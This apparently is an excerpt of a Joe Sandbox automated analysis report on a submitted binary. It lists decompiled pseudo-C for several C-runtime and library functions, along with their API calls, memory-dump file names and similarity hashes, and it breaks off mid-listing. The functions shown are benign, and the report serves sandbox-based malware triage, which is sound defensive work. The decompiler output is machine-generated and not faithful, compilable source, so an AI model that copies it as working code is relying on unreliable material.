					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x159490; // 0x2541608
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0x159068;
								if(__eflags != 0) {
									E00105DE2(_t33);
								}
							}
						}
						_t21 =  *0x159490; // 0x2541608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x159490; // 0x2541608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00106C5E();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E001086D7(_t29, _t38);
				}
				return E00108FA5(_t33);
			}

0x00106bc3
0x00106bc3
0x00106bc3
0x00106bc3
0x00106bc5
0x00106bca
0x00106bd4
0x00106bd6
0x00106bde
0x00106bff
0x00106c05
0x00106c09
0x00106c0c
0x00106c0f
0x00106c15
0x00106c17
0x00106c19
0x00106c22
0x00106c24
0x00106c26
0x00106c2c
0x00106c2f
0x00106c34
0x00106c2c
0x00106c24
0x00106c35
0x00106c3a
0x00106c3d
0x00106c43
0x00106c47
0x00106c47
0x00106c4d
0x00106c54
0x00106be6
0x00106be6
0x00106be6
0x00106be9
0x00106beb
0x00106bed
0x00106bef
0x00106bf4
0x00106bfc

APIs

__getptd.LIBCMT ref: 00106BCF

Part of subcall function 0010756D: __getptd_noexit.LIBCMT ref: 00107570
Part of subcall function 0010756D: __amsg_exit.LIBCMT ref: 0010757D

__amsg_exit.LIBCMT ref: 00106BEF
__lock.LIBCMT ref: 00106BFF
InterlockedDecrement.KERNEL32(?), ref: 00106C1C
InterlockedIncrement.KERNEL32(02541608), ref: 00106C47

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 4981673033661bfed535df1003362bd1f58d1149de0bc818c3ecdf3a816c57e1
Instruction ID: ee5c0f7a2a0d620552dc8242bd795a50d2ddf024b07e8ec73857ae2c72c4a957
Opcode Fuzzy Hash: 4981673033661bfed535df1003362bd1f58d1149de0bc818c3ecdf3a816c57e1
Instruction Fuzzy Hash: 2401F531E00725DBDB15AF649A0979D7360BF18715F144019F8E0ABAD0DBF4ADA1CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 000F47C0 Relevance: 7.5, APIs: 5, Instructions: 42
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000F47C0() {
				long _t7;
				intOrPtr* _t11;
				intOrPtr* _t13;
				intOrPtr* _t15;

				_t13 = 0;
				EnterCriticalSection(0x170c68);
				_t15 =  *0x170c80; // 0x0
				if(_t15 == 0) {
					L8:
					LeaveCriticalSection(0x170c68);
					return _t13;
				} else {
					_t7 = GetCurrentThreadId();
					_t11 = 0;
					while( *((intOrPtr*)(_t15 + 4)) != _t7) {
						_t11 = _t15;
						_t15 =  *((intOrPtr*)(_t15 + 8));
						if(_t15 != 0) {
							continue;
						} else {
							LeaveCriticalSection(0x170c68);
							return _t13;
						}
						goto L9;
					}
					if(_t11 != 0) {
						 *((intOrPtr*)(_t11 + 8)) =  *((intOrPtr*)(_t15 + 8));
						_t13 =  *_t15;
						goto L8;
					} else {
						 *0x170c80 =  *((intOrPtr*)(_t15 + 8));
						LeaveCriticalSection(0x170c68);
						return  *_t15;
					}
				}
				L9:
			}

0x000f47c7
0x000f47c9
0x000f47cf
0x000f47d7
0x000f4825
0x000f482a
0x000f4834
0x000f47d9
0x000f47d9
0x000f47df
0x000f47e1
0x000f47e6
0x000f47e8
0x000f47ed
0x00000000
0x000f47ef
0x000f47f4
0x000f47fe
0x000f47fe
0x00000000
0x000f47ed
0x000f4801
0x000f4820
0x000f4823
0x00000000
0x000f4803
0x000f4806
0x000f4812
0x000f481c
0x000f481c
0x000f4801
0x00000000

APIs

EnterCriticalSection.KERNEL32(00170C68,?,?,000F56D9,?,?), ref: 000F47C9
GetCurrentThreadId.KERNEL32 ref: 000F47D9
LeaveCriticalSection.KERNEL32(00170C68), ref: 000F47F4
LeaveCriticalSection.KERNEL32(00170C68), ref: 000F4812
LeaveCriticalSection.KERNEL32(00170C68), ref: 000F482A

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$Leave$CurrentEnterThread
String ID:
API String ID: 2905768538-0
Opcode ID: 298957af2299aa7d799b30dd309c66a7da1e3e399496df80ef0c530d6f8209b8
Instruction ID: 2e99dca18fb99c9262d8a9c7efe9600a8a51c40e8fe7466210920dbb03a4bd24
Opcode Fuzzy Hash: 298957af2299aa7d799b30dd309c66a7da1e3e399496df80ef0c530d6f8209b8
Instruction Fuzzy Hash: 9F014F35B40310CBC7A69B19FD4845A77F1EBCCB21315826AFD49D3A50C770A8C6DA91

Uniqueness

Uniqueness Score: -1.00%

Function 00107344 Relevance: 7.5, APIs: 5, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E00107344(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t12;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t20 = __ebx;
				_push(0xc);
				_push(0x114510);
				E00108F60(__ebx, __edi, __esi);
				_t28 = E0010756D(__ebx, __edx, _t31);
				_t12 =  *0x159588; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t12) == 0) {
					L6:
					E0010A67E(_t20, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t29 = _t28 + 0x6c;
					 *((intOrPtr*)(_t30 - 0x1c)) = E001072F7(_t29,  *0x1597d0);
					 *(_t30 - 4) = 0xfffffffe;
					E001073B1();
				} else {
					_t33 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E0010756D(_t20, __edx, _t33) + 0x6c));
					}
				}
				_t34 = _t29;
				if(_t29 == 0) {
					_push(0x20);
					E001086D7(_t25, _t34);
				}
				return E00108FA5(_t29);
			}

0x00107344
0x00107344
0x00107344
0x00107344
0x00107344
0x00107346
0x0010734b
0x00107355
0x00107357
0x0010735f
0x00107383
0x00107385
0x0010738b
0x00107395
0x001073a0
0x001073a3
0x001073aa
0x00107361
0x00107361
0x00107365
0x00000000
0x00107367
0x0010736c
0x0010736c
0x00107365
0x0010736f
0x00107371
0x00107373
0x00107375
0x0010737a
0x00107382

APIs

__getptd.LIBCMT ref: 00107350

Part of subcall function 0010756D: __getptd_noexit.LIBCMT ref: 00107570
Part of subcall function 0010756D: __amsg_exit.LIBCMT ref: 0010757D

__getptd.LIBCMT ref: 00107367
__amsg_exit.LIBCMT ref: 00107375
__lock.LIBCMT ref: 00107385
__updatetlocinfoEx_nolock.LIBCMT ref: 00107399

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 220a49a65c806e7585711979e9fdd86bee0c7a9425a81007f6f0bdd99dea3b92
Instruction ID: cce77ead2f6e937be19d7ebc796dc6cfaccc365536f47c39e224cccd55891086
Opcode Fuzzy Hash: 220a49a65c806e7585711979e9fdd86bee0c7a9425a81007f6f0bdd99dea3b92
Instruction Fuzzy Hash: 19F09032E0C700DBEB21BBB4680675D76A0BF14B20F610109F8D06F6D2DFE46840AA56

Uniqueness

Uniqueness Score: -1.00%

Function 000F24C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E000F24C0(void* __ecx, signed int __edx, signed int _a4, struct HINSTANCE__* _a8, signed short _a12) {
				signed int _v8;
				char _v16;
				signed int _v20;
				intOrPtr* _v24;
				signed int _v28;
				void* _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				signed int _t21;
				int _t23;
				signed int _t26;
				signed int _t27;
				intOrPtr _t29;
				intOrPtr* _t37;
				signed int _t38;
				intOrPtr _t43;
				char* _t44;
				void* _t45;
				signed int _t52;
				intOrPtr* _t56;
				intOrPtr _t57;
				signed int _t59;
				int _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				signed int _t63;
				void* _t64;
				char* _t65;

				_t52 = __edx;
				_t45 = __ecx;
				_push(0xffffffff);
				_push(E0010FC48);
				_push( *[fs:0x0]);
				_t65 = _t64 - 0x10;
				_t20 =  *0x159060; // 0x1f9a9bdf
				_t21 = _t20 ^ _t63;
				_v20 = _t21;
				_push(_t21);
				 *[fs:0x0] =  &_v16;
				_t56 = 0;
				_v24 = 0;
				_v8 = 0;
				_t23 = lstrlenW(L"REGISTRY");
				asm("cdq");
				_t59 = _t23 + 1;
				_t53 = (_t52 << 0x00000020 | _t59) << 1;
				_t60 = _t59 + _t59;
				_t26 = _t60 + 0x80000000;
				asm("adc edx, edi");
				_v28 = (_t52 << 0x00000020 | _t59) << 1;
				if(_t26 != 0 || _t26 > 0xffffffff) {
					L11:
					_t27 = 0;
				} else {
					if(_t60 > 0x400) {
						L5:
						if((_t26 | 0xffffffff) - _t60 < 8) {
							_push(0x80070216);
							E000F1170(_t53);
							goto L11;
						} else {
							_t10 = _t60 + 8; // 0x9
							_t37 = E00105E1C(_t53, _t56, _t60, _t10);
							_t65 =  &(_t65[4]);
							if(_t37 == _t56) {
								goto L11;
							} else {
								 *_t37 = _t56;
								_t56 = _t37;
								_v24 = _t56;
								_t12 = _t37 + 8; // 0x8
								_t44 = _t12;
								goto L8;
							}
						}
					} else {
						_t26 = E000F1030(_t45, _t53, _t60);
						_t65 =  &(_t65[4]);
						if(_t26 == 0) {
							goto L5;
						} else {
							E0010ACA0(_t60);
							_t44 = _t65;
							L8:
							if(_t44 == 0) {
								goto L11;
							} else {
								 *_t44 = 0;
								_t38 = WideCharToMultiByte(3, 0, L"REGISTRY", 0xffffffff, _t44, _t60, 0, 0);
								asm("sbb eax, eax");
								_t27 =  ~_t38 & _t44;
							}
						}
					}
				}
				if(_t27 != 0) {
					_t53 = _a4;
					_t61 = E000F21A0(_t27, _a4, _a8, _a12 & 0x0000ffff, 1);
					while(_t56 != 0) {
						_t56 =  *_t56;
						E00105DE2(_t56);
						_t65 =  &(_t65[4]);
					}
					_t29 = _t61;
				} else {
					while(_t56 != 0) {
						_t56 =  *_t56;
						E00105DE2(_t56);
						_t65 =  &(_t65[4]);
					}
					_t29 = 0x8007000e;
				}
				 *[fs:0x0] = _v16;
				_pop(_t57);
				_pop(_t62);
				_pop(_t43);
				return E001059E6(_t29, _t43, _v20 ^ _t63, _t53, _t57, _t62);
			}

0x000f24c0
0x000f24c0
0x000f24c3
0x000f24c5
0x000f24d0
0x000f24d1
0x000f24d4
0x000f24d9
0x000f24db
0x000f24e1
0x000f24e5
0x000f24eb
0x000f24ed
0x000f24f5
0x000f24f8
0x000f24ff
0x000f2500
0x000f2502
0x000f2506
0x000f250a
0x000f250f
0x000f2511
0x000f2514
0x000f258f
0x000f258f
0x000f251b
0x000f2521
0x000f253b
0x000f2543
0x000f2585
0x000f258a
0x00000000
0x000f2545
0x000f2545
0x000f2549
0x000f254e
0x000f2553
0x00000000
0x000f2555
0x000f2555
0x000f2557
0x000f2559
0x000f255c
0x000f255c
0x00000000
0x000f255c
0x000f2553
0x000f2523
0x000f2524
0x000f2529
0x000f252e
0x00000000
0x000f2530
0x000f2532
0x000f2537
0x000f255f
0x000f2561
0x00000000
0x000f2563
0x000f2574
0x000f2577
0x000f257f
0x000f2581
0x000f2581
0x000f2561
0x000f252e
0x000f2521
0x000f2593
0x000f25c1
0x000f25cb
0x000f25cf
0x000f25d2
0x000f25d4
0x000f25d9
0x000f25dc
0x000f25e0
0x000f2595
0x000f2597
0x000f25a1
0x000f25a3
0x000f25a8
0x000f25ab
0x000f25af
0x000f25af
0x000f25e8
0x000f25f0
0x000f25f1
0x000f25f2
0x000f2600

APIs

lstrlenW.KERNEL32(REGISTRY,1F9A9BDF,00000000,?,00000000,?,00112CF0,Module,?), ref: 000F24F8
_malloc.LIBCMT ref: 000F2549
WideCharToMultiByte.KERNEL32(00000003,00000000,REGISTRY,000000FF,00000008,00000001,00000000,00000000), ref: 000F2577

Strings

REGISTRY, xrefs: 000F24F0, 000F256B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ByteCharMultiWide_malloclstrlen
String ID: REGISTRY
API String ID: 2576735857-194740550
Opcode ID: 48703e188e915989f1f07c5ef9ae190745d7b7774339d0e2c1c5535e22034c11
Instruction ID: cc019c59feddb02ea7bda06a65277d14ac5ac7b754f66a8c0d16adf858ac6d6b
Opcode Fuzzy Hash: 48703e188e915989f1f07c5ef9ae190745d7b7774339d0e2c1c5535e22034c11
Instruction Fuzzy Hash: C4316E72A00A0D97D7119B68CC52BBFB3E5EB94B10F250225FA14D76D4EBB4DD009681

Uniqueness

Uniqueness Score: -1.00%

Function 000F27A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E000F27A0(void* __ecx, signed int __edx, signed int _a4, struct HINSTANCE__* _a8, signed short _a12) {
				signed int _v8;
				char _v16;
				signed int _v20;
				intOrPtr* _v24;
				signed int _v28;
				void* _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				signed int _t21;
				int _t23;
				signed int _t26;
				signed int _t27;
				intOrPtr _t29;
				intOrPtr* _t37;
				signed int _t38;
				intOrPtr _t43;
				char* _t44;
				void* _t45;
				signed int _t52;
				intOrPtr* _t56;
				intOrPtr _t57;
				signed int _t59;
				int _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				signed int _t63;
				void* _t64;
				char* _t65;

				_t52 = __edx;
				_t45 = __ecx;
				_push(0xffffffff);
				_push(E0010FC48);
				_push( *[fs:0x0]);
				_t65 = _t64 - 0x10;
				_t20 =  *0x159060; // 0x1f9a9bdf
				_t21 = _t20 ^ _t63;
				_v20 = _t21;
				_push(_t21);
				 *[fs:0x0] =  &_v16;
				_t56 = 0;
				_v24 = 0;
				_v8 = 0;
				_t23 = lstrlenW(L"REGISTRY");
				asm("cdq");
				_t59 = _t23 + 1;
				_t53 = (_t52 << 0x00000020 | _t59) << 1;
				_t60 = _t59 + _t59;
				_t26 = _t60 + 0x80000000;
				asm("adc edx, edi");
				_v28 = (_t52 << 0x00000020 | _t59) << 1;
				if(_t26 != 0 || _t26 > 0xffffffff) {
					L11:
					_t27 = 0;
				} else {
					if(_t60 > 0x400) {
						L5:
						if((_t26 | 0xffffffff) - _t60 < 8) {
							_push(0x80070216);
							E000F1170(_t53);
							goto L11;
						} else {
							_t10 = _t60 + 8; // 0x9
							_t37 = E00105E1C(_t53, _t56, _t60, _t10);
							_t65 =  &(_t65[4]);
							if(_t37 == _t56) {
								goto L11;
							} else {
								 *_t37 = _t56;
								_t56 = _t37;
								_v24 = _t56;
								_t12 = _t37 + 8; // 0x8
								_t44 = _t12;
								goto L8;
							}
						}
					} else {
						_t26 = E000F1030(_t45, _t53, _t60);
						_t65 =  &(_t65[4]);
						if(_t26 == 0) {
							goto L5;
						} else {
							E0010ACA0(_t60);
							_t44 = _t65;
							L8:
							if(_t44 == 0) {
								goto L11;
							} else {
								 *_t44 = 0;
								_t38 = WideCharToMultiByte(3, 0, L"REGISTRY", 0xffffffff, _t44, _t60, 0, 0);
								asm("sbb eax, eax");
								_t27 =  ~_t38 & _t44;
							}
						}
					}
				}
				if(_t27 != 0) {
					_t53 = _a4;
					_t61 = E000F21A0(_t27, _a4, _a8, _a12 & 0x0000ffff, 0);
					while(_t56 != 0) {
						_t56 =  *_t56;
						E00105DE2(_t56);
						_t65 =  &(_t65[4]);
					}
					_t29 = _t61;
				} else {
					while(_t56 != 0) {
						_t56 =  *_t56;
						E00105DE2(_t56);
						_t65 =  &(_t65[4]);
					}
					_t29 = 0x8007000e;
				}
				 *[fs:0x0] = _v16;
				_pop(_t57);
				_pop(_t62);
				_pop(_t43);
				return E001059E6(_t29, _t43, _v20 ^ _t63, _t53, _t57, _t62);
			}

0x000f27a0
0x000f27a0
0x000f27a3
0x000f27a5
0x000f27b0
0x000f27b1
0x000f27b4
0x000f27b9
0x000f27bb
0x000f27c1
0x000f27c5
0x000f27cb
0x000f27cd
0x000f27d5
0x000f27d8
0x000f27df
0x000f27e0
0x000f27e2
0x000f27e6
0x000f27ea
0x000f27ef
0x000f27f1
0x000f27f4
0x000f286f
0x000f286f
0x000f27fb
0x000f2801
0x000f281b
0x000f2823
0x000f2865
0x000f286a
0x00000000
0x000f2825
0x000f2825
0x000f2829
0x000f282e
0x000f2833
0x00000000
0x000f2835
0x000f2835
0x000f2837
0x000f2839
0x000f283c
0x000f283c
0x00000000
0x000f283c
0x000f2833
0x000f2803
0x000f2804
0x000f2809
0x000f280e
0x00000000
0x000f2810
0x000f2812
0x000f2817
0x000f283f
0x000f2841
0x00000000
0x000f2843
0x000f2854
0x000f2857
0x000f285f
0x000f2861
0x000f2861
0x000f2841
0x000f280e
0x000f2801
0x000f2873
0x000f28a1
0x000f28ab
0x000f28af
0x000f28b2
0x000f28b4
0x000f28b9
0x000f28bc
0x000f28c0
0x000f2875
0x000f2877
0x000f2881
0x000f2883
0x000f2888
0x000f288b
0x000f288f
0x000f288f
0x000f28c8
0x000f28d0
0x000f28d1
0x000f28d2
0x000f28e0

APIs

lstrlenW.KERNEL32(REGISTRY,1F9A9BDF,00000000,?,00000000,?,00112CF0,Module,?), ref: 000F27D8
_malloc.LIBCMT ref: 000F2829
WideCharToMultiByte.KERNEL32(00000003,00000000,REGISTRY,000000FF,00000008,00000001,00000000,00000000), ref: 000F2857

Strings

REGISTRY, xrefs: 000F27D0, 000F284B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ByteCharMultiWide_malloclstrlen
String ID: REGISTRY
API String ID: 2576735857-194740550
Opcode ID: 2bfd360750b1923b543b962106bcbdd3191af6ad5d87af68004e303c190a790f
Instruction ID: f4de9afb41ff8eaaa3e19011ac9fa64d787c011c5295dfd9f7953fb480c3417c
Opcode Fuzzy Hash: 2bfd360750b1923b543b962106bcbdd3191af6ad5d87af68004e303c190a790f
Instruction Fuzzy Hash: 20315972E0160C9BD7219B28CC42BBFB7E5EBA07A0F204229FA15D76D4EF74DC019691

Uniqueness

Uniqueness Score: -1.00%

Function 00105F9B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00105F9B(void* __ebx, void* __edi, signed char _a4, signed char _a8, intOrPtr _a12) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				signed char _t43;
				void* _t44;
				void* _t46;
				signed char _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t52;
				intOrPtr _t54;
				intOrPtr _t58;
				void* _t59;
				signed char _t64;
				signed char _t68;
				signed int _t69;
				intOrPtr _t75;
				signed char _t76;
				signed char _t78;
				signed char _t81;
				signed char _t83;

				E001059F5(__ebx,  &_v20, __edi, _a12);
				if( *((intOrPtr*)(_v16 + 8)) != 0) {
					_t43 = _a8;
					__eflags = _t43;
					if(__eflags != 0) {
						__eflags =  *_t43;
						if( *_t43 != 0) {
							_t81 = _a4;
							__eflags = _t81;
							if(__eflags != 0) {
								_push(__ebx);
								_push(__edi);
								_t78 = _t81;
								_t44 = E00108970(_t43);
								_t46 = E00108970(_t81) + _t81 - _t44;
								__eflags =  *_t81;
								if( *_t81 == 0) {
									L27:
									__eflags = _v8;
									if(_v8 != 0) {
										_t48 = _v12;
										_t35 = _t48 + 0x70;
										 *_t35 =  *(_t48 + 0x70) & 0xfffffffd;
										__eflags =  *_t35;
									}
									_t47 = 0;
									__eflags = 0;
									L30:
									L31:
									return _t47;
								}
								_t83 = _t81 - _a8;
								__eflags = _t83;
								while(1) {
									__eflags = _t78 - _t46;
									if(_t78 > _t46) {
										goto L27;
									}
									_t64 =  *_t78;
									_t68 = _a8;
									__eflags = _t64;
									if(_t64 == 0) {
										L22:
										__eflags =  *_t68;
										if( *_t68 == 0) {
											L33:
											__eflags = _v8;
											if(_v8 != 0) {
												_t49 = _v12;
												_t39 = _t49 + 0x70;
												 *_t39 =  *(_t49 + 0x70) & 0xfffffffd;
												__eflags =  *_t39;
											}
											_t47 = _t78;
											goto L30;
										}
										_t75 = _v16;
										_t69 = _t64 & 0x000000ff;
										_t78 = _t78 + 1;
										_t83 = _t83 + 1;
										__eflags =  *(_t69 + _t75 + 0x1d) & 0x00000004;
										if(( *(_t69 + _t75 + 0x1d) & 0x00000004) == 0) {
											L26:
											__eflags =  *_t78;
											if( *_t78 != 0) {
												continue;
											}
											goto L27;
										}
										__eflags =  *_t78;
										if( *_t78 == 0) {
											goto L27;
										}
										_t78 = _t78 + 1;
										_t83 = _t83 + 1;
										__eflags = _t83;
										goto L26;
									} else {
										goto L19;
									}
									while(1) {
										L19:
										_t76 =  *_t68;
										__eflags = _t76;
										if(_t76 == 0) {
											goto L33;
										}
										__eflags =  *((intOrPtr*)(_t83 + _t68)) - _t76;
										if( *((intOrPtr*)(_t83 + _t68)) != _t76) {
											goto L22;
										}
										_t68 = _t68 + 1;
										__eflags =  *((char*)(_t83 + _t68));
										if( *((char*)(_t83 + _t68)) != 0) {
											continue;
										}
										goto L22;
									}
									goto L33;
								}
								goto L27;
							}
							 *((intOrPtr*)(E00107A0D(__eflags))) = 0x16;
							E001079BB();
							__eflags = _v8;
							if(_v8 != 0) {
								_t52 = _v12;
								_t24 = _t52 + 0x70;
								 *_t24 =  *(_t52 + 0x70) & 0xfffffffd;
								__eflags =  *_t24;
							}
							_t47 = 0;
							goto L31;
						}
						__eflags = _v8;
						if(_v8 != 0) {
							_t54 = _v12;
							_t18 = _t54 + 0x70;
							 *_t18 =  *(_t54 + 0x70) & 0xfffffffd;
							__eflags =  *_t18;
						}
						return _a4;
					} else {
						 *((intOrPtr*)(E00107A0D(__eflags))) = 0x16;
						E001079BB();
						__eflags = _v8;
						if(_v8 != 0) {
							_t58 = _v12;
							_t14 = _t58 + 0x70;
							 *_t14 =  *(_t58 + 0x70) & 0xfffffffd;
							__eflags =  *_t14;
						}
						__eflags = 0;
						return 0;
					}
				} else {
					_t59 = E00108A00(_a4, _a8);
					if(_v8 == 0) {
						return _t59;
					} else {
						 *(_v12 + 0x70) =  *(_v12 + 0x70) & 0xfffffffd;
						return _t59;
					}
				}
			}

0x00105fa9
0x00105fb5
0x00105fd7
0x00105fda
0x00105fdc
0x00105fff
0x00106002
0x00106017
0x0010601a
0x0010601c
0x0010603f
0x00106040
0x00106042
0x00106044
0x00106054
0x00106056
0x0010605a
0x001060a0
0x001060a0
0x001060a4
0x001060a6
0x001060a9
0x001060a9
0x001060a9
0x001060a9
0x001060ad
0x001060ad
0x001060af
0x001060b1
0x00000000
0x001060b1
0x0010605c
0x0010605c
0x0010605f
0x0010605f
0x00106061
0x00000000
0x00000000
0x00106063
0x00106065
0x00106068
0x0010606a
0x0010607e
0x0010607e
0x00106081
0x001060b4
0x001060b4
0x001060b8
0x001060ba
0x001060bd
0x001060bd
0x001060bd
0x001060bd
0x001060c1
0x00000000
0x001060c1
0x00106083
0x00106086
0x0010608d
0x0010608e
0x0010608f
0x00106092
0x0010609b
0x0010609b
0x0010609e
0x00000000
0x00000000
0x00000000
0x0010609e
0x00106094
0x00106097
0x00000000
0x00000000
0x00106099
0x0010609a
0x0010609a
0x00000000
0x00000000
0x00000000
0x00000000
0x0010606c
0x0010606c
0x0010606c
0x0010606e
0x00106070
0x00000000
0x00000000
0x00106072
0x00106075
0x00000000
0x00000000
0x00106077
0x00106078
0x0010607c
0x00000000
0x00000000
0x00000000
0x0010607c
0x00000000
0x0010606c
0x00000000
0x0010605f
0x00106023
0x00106029
0x0010602e
0x00106032
0x00106034
0x00106037
0x00106037
0x00106037
0x00106037
0x0010603b
0x00000000
0x0010603b
0x00106004
0x00106008
0x0010600a
0x0010600d
0x0010600d
0x0010600d
0x0010600d
0x00106015
0x00105fde
0x00105fe3
0x00105fe9
0x00105fee
0x00105ff2
0x00105ff4
0x00105ff7
0x00105ff7
0x00105ff7
0x00105ff7
0x00105ffb
0x00105ffe
0x00105ffe
0x00105fb7
0x00105fbd
0x00105fc8
0x001060b3
0x00105fce
0x00105fd1
0x00105fd6
0x00105fd6
0x00105fc8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00105FA9

Part of subcall function 001059F5: __getptd.LIBCMT ref: 00105A08

Strings

>*, xrefs: 00105FBD

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
